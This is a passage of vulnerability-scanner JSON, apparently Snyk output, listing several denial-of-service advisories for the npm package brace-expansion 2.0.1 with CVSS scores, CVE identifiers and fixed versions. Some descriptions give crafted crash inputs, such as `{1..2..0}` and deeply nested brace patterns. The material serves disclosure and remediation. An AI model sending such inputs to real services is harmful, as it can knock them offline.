{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
